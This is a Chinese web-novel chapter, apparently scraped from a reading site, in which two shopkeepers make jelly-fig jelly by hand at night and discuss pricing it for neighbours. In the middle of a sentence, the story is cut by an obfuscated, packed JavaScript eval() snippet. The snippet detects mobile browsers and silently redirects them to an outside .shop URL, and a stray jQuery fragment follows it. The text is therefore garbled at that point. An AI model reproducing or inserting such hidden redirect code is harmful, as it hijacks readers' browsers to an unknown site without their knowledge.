木莲籽泡在碗里，到了夜里，颜色比刚买回来时深了一些。
既不像绿豆泡开了有胀相，也不像乌梅一入水就染出颜色。它们沉在碗底，一粒挨着一粒，看着仍旧不起眼。
何记收铺以后，前头的门板半掩着，只留一扇透风。
街上的热气还没散，像贴在门板上的一层湿布。后院点了一盏小油灯，灯芯不大，火苗被夜风吹得轻轻歪了一下，又直起来。
何春酿把袖子挽到小臂上，先洗了两遍手。
周砚平从前铺搬来一张矮凳，又把方子本放在旁边的小木几上。方子本太旧，不能离水近，他特意拿一只空碗压住书角，怕夜风翻页。
何春酿把泡好的木莲籽倒进细纱布里，木莲籽滚进去时，发出轻轻的沙沙声。
她把纱布四角拢起来，扎成一个小布包，放进一盆井水里。
“方子上写清水，但我娘那时用的是井水。”何春酿把布包按进盆底，“今日井水也不够凉了。先试这个，明早再去巷口老井打新水。”
她说着，手指隔着纱布轻轻揉了两下。
起先什么都没有。
布包里的籽硬硬的，在掌心里滚，水还是水，清亮亮一盆，最多被她手指搅出几圈波纹。
周砚平问：“是不是要揉久些？”
“你急什么？”何春酿低头看水，“才刚下去。”
“我不急。”周砚平否认。
“你脸上写着急。”何春酿瞥他，“扇子拿半天，一下没扇。”
周砚平这才反应过来，抬手给她扇了两下。
夜里的风本来就热，蒲扇扇出来也凉不到哪里去，只是把油灯边那点闷气拨开些。
何春酿低着头，手腕在水里一下一下揉着布包。她手指不算细，常年做甜水、洗盏、搬坛，指腹有薄薄的茧。
木莲籽隔着纱布磨在掌心里，没一会儿便有些发涩。
“这样做对吗？”周砚平问。
“不知道。”何春酿道，“我小时候只看过一次。我娘揉的时候，我嫌没意思，蹲了一会儿就跑去抓蝉了。”
“后来吃了吗？”
“吃了。”她想了想，“那时候只记得凉，滑，像一块水在嘴里晃。吃完我还问她，能不能再做。”
“你娘怎么说？”
“她说，想吃可以，明日自己揉。”
周砚平笑了一下：“所以后来一直没做？”
“我那时候哪有耐性。”何春酿也笑，“揉了半刻钟，水还是水，我就说它骗我。我娘说，是你手懒，不是它骗人。”
她说着，手上力气稍微加重。
布包在水中被她反复揉搓，指缝里渐渐滑起来。水色还是浅，却不再像刚才那样清。
周砚平看见盆面上起了一点细细的黏光，像有一层薄薄的东西浮在水里，“是不是有了？”
何春酿没有抬头：“别说话。”
“说话也做不成？”
“不知道。反正你先别说。”
周砚平便闭了嘴，他把扇子扇得慢一些，怕把灯吹偏。
灯火照着何春酿的侧脸，她额角的碎发已经湿了。后院闷，水盆又在她身前，手一直浸着，肩背却热得出汗。
汗珠顺着她鬓边往下滑，快到下颌时，她偏了偏头，想用肩膀蹭掉。
周砚平看见，手上的扇子停了一下。
何春酿没顾上他，仍旧低头揉木莲。
“扇啊。”她道，“停什么？”
周砚平把扇子换到左手，右手从旁边拿起一块干净帕子。
帕子原本是何春酿晾在木架上的，白日里擦过小盏，洗干净后才收回来。他拿在手里，停了片刻，才低声道：“汗要落进盆里了。”
何春酿手上一顿，她原本想说“你递给我”，可两只手都在水里，布包还捏着，松开又怕散。
她抬眼看他，眉梢稍稍一挑，“那你还看着？”
周砚平喉咙动了动，他站起来，绕到她身侧，动作很轻。
帕子靠近时，何春酿下意识闭了一下眼。
他没有碰她的脸，只用帕角在她鬓边轻轻按了一下，把那点汗擦去。
帕子擦过的地方很快又热起来。
何春酿低着头，耳根却微微红了些，“擦汗就擦汗，你手抖什么？”
周砚平把帕子收回来：“我怕碰到你眼睛。”
“我眼睛长在那儿，你看不见？”
周砚平没答，他重新坐回矮凳上，拿起扇子继续扇。
何春酿低头看着水盆，水比刚才滑了。
她隔着纱布揉出来的东西渐渐散在水里，手指一动，水面便拖出一点黏丝。
她心里那点不自在被这变化压下去，眼睛亮了些，“有点意思了。”
周砚平立刻往盆里看，“这就成了？”
“还早。”何春酿摇摇头，“要揉够，再滤，再静置，最后凝固成冻。”
何春酿低着头，水盆里的光晃在她脸上。
她袖子挽得高，手腕浸在水里，指节因为用力微微绷着。布包里的木莲籽被她揉得发软，水也越发滑，指缝一动，便带起细细一层黏意。
她看着那盆水，像看着一桩慢慢有了眉目的生意。
“我娘那时候做这个，是为了我爹。”她忽然道。
周砚平扇风的手慢了些。
何春酿没有看他，只接着说：“他夏天胃口不好，吃什么都嫌腻。酸梅汤喝多了又伤胃，绿豆汤喝着喝着也烦。我娘就翻旧方子，做了这一盆木莲冻，其实不值多少钱，就是费手。”
她说着，把布包翻了个面，又按进水里揉。
“我那时候不懂，只觉得等得烦。后来吃到嘴里，倒觉得好。滑滑凉凉的，没什么大滋味，可就是舒服。现在想起来，我娘那天揉了很久，手腕都红了。”
周砚平看了一眼她的手腕，她自己没察觉，腕骨旁边已经被纱布勒出一点红印。
水里揉东西，看着轻，其实最耗手劲。一下一下，不能急，不能松。
他把扇子搁到膝上，伸手去拿旁边的帕子。
何春酿余光看见：“干什么？”
周砚平没说话，只把帕子展开，等她把布包拧起换手时，轻轻托了一下她的腕侧。
何春酿本能地缩了缩，偏头看向水盆，嘴上却还硬，“好了好了，哪里就这么金贵了？”
她把布包提起来，用指腹捏了捏。里头的籽不再硬硌，布包外头滑得几乎拿不住。
何春酿换了只手继续揉，周砚平的扇风也跟着换了方向。
灯火落在水面上，被她的手搅碎。
过了一会儿，周砚平道：“明日若成了，先卖多少？”
“三十盏。”何春酿说，“再多做不出来，这个不像酸梅饮，一锅能熬许多。木莲冻得慢，我的手也慢。”
“价定四文？”
“嗯，就四文。”她手上轻轻揉着，“一盏不做大，浇一点梅子汁，撒一点碎冰，叫人尝个新鲜、解个暑就成。何记又不是福盛楼，不卖二三十文一盏的体面东西。”
周砚平心里飞快地算了起来，“四文一盏，赚得少些。”
“少也有少的做法。”何春酿道，“街坊邻居来何记，不是为了摆阔，是为了热得受不了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17672486|205212||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
时，也能花几文钱吃一口凉的。东西少一点没关系，味道要好，价钱要叫人舍得。今日喝了，明日还想来，这才是小铺子的生意。”
周砚平听了，手里的扇子慢慢摇着，“那就四文。”
“卖贵了，别人只说何记也学会拿大酒楼的架子。卖便宜了，他们才会说，何掌柜这东西新鲜，倒还吃得起。”
周砚平没接话。
何春酿以为他又在嫌便宜，抬眼看他：“怎么，觉得赚少了？”
“不是。”周砚平道，“我是看你手都红了。”
她把手往水里压了压：“做吃食哪有不费手的，先这么试，多了做不来，少了又不像个新饮子。三十盏，够街坊们尝尝。”
她顿了顿，像是怕他不明白，又补了一句：“胡娘子会买，小陶也会买。罗娘子若带小满来，多半也舍得买一盏。还有那些平日只喝三文酸梅饮的人，热狠了，摸出四文钱，也能坐下来吃一口凉的。”
周砚平看着她说话。
何春酿被他看得有些不自在：“你看我做什么？”
“没什么。”他低声道，“就是觉得，你把谁会来，都想过了。”
“开铺子不就得想这些？”何春酿低下头，又揉了两下，“福盛楼卖给有钱人，何记不一样。人家进来，袖袋里就那么几文钱，掏出来之前心里要掂好几回。东西可以少，不能叫人觉得亏。”
她说到这里，手上的动作慢了慢。
“我小时候想吃福盛楼的冰酪，站在门口看过，一盏二十文，我娘拉着我走，说回家给我做绿豆汤。我那时还不高兴，觉得绿豆汤哪里比得上冰酪。”
周砚平没有插话。
何春酿笑了一下：“现在想想，孩子嘴馋，大人心里也难受。”
他手里的扇子还在慢慢摇，风从何春酿肩头过去，吹得灯火往旁边偏了一偏。
何春酿说完这句，自己也没再往下说。
那双手还在水里揉着，一下又一下。方才说到旧事，她手上慢了些，如今回过神，又重新用力。
水面被揉得发亮，灯影碎在里头，像一层细薄的油光。
“会成的。”他说。
何春酿抬眼：“你怎么知道？”
“不知道。”周砚平道，“但你揉了这么久，总不能一点面子不给。”
何春酿被他说得笑了一下。
她把布包提起，顺着盆沿慢慢拧了一把。细纱布里渗出一点黏滑的水，滴回盆中时，不像清水那样立刻散开，反倒拖着一点细细的尾。
她看了看，终于点头：“差不多了。”
周砚平立刻把旁边干净的陶盆挪过来，又把另一块细布铺好。
何春酿把那盆木莲水慢慢倒进细布里，水落下去，比寻常水慢。细布兜着一点黏意，像舍不得放它走。她一手扶盆，一手按着布边，等水一点一点滤进下面的陶盆里。
周砚平在旁边帮她提灯。
灯靠近了，水色便看得更明白，她松了一口气，“像了。”
她先把滤好的木莲水分进几只干净粗瓷碗里，什么都不添，只轻轻推到阴处。
“先叫它自己成冻。”何春酿道，“酸梅汁、青梅糖水都等成了再浇。”
周砚平端着灯看那几只碗：“那现在只等？”
“等。”何春酿把竹罩轻轻罩上，“木莲这东西，揉的时候急不得，等的时候也急不得。”
等东西凝住，比揉东西更磨人，揉的时候手上有事，心也跟着手走。
如今几只碗安安静静摆在那里，倒叫人心里悬着。
周砚平重新拿起蒲扇，给她扇风。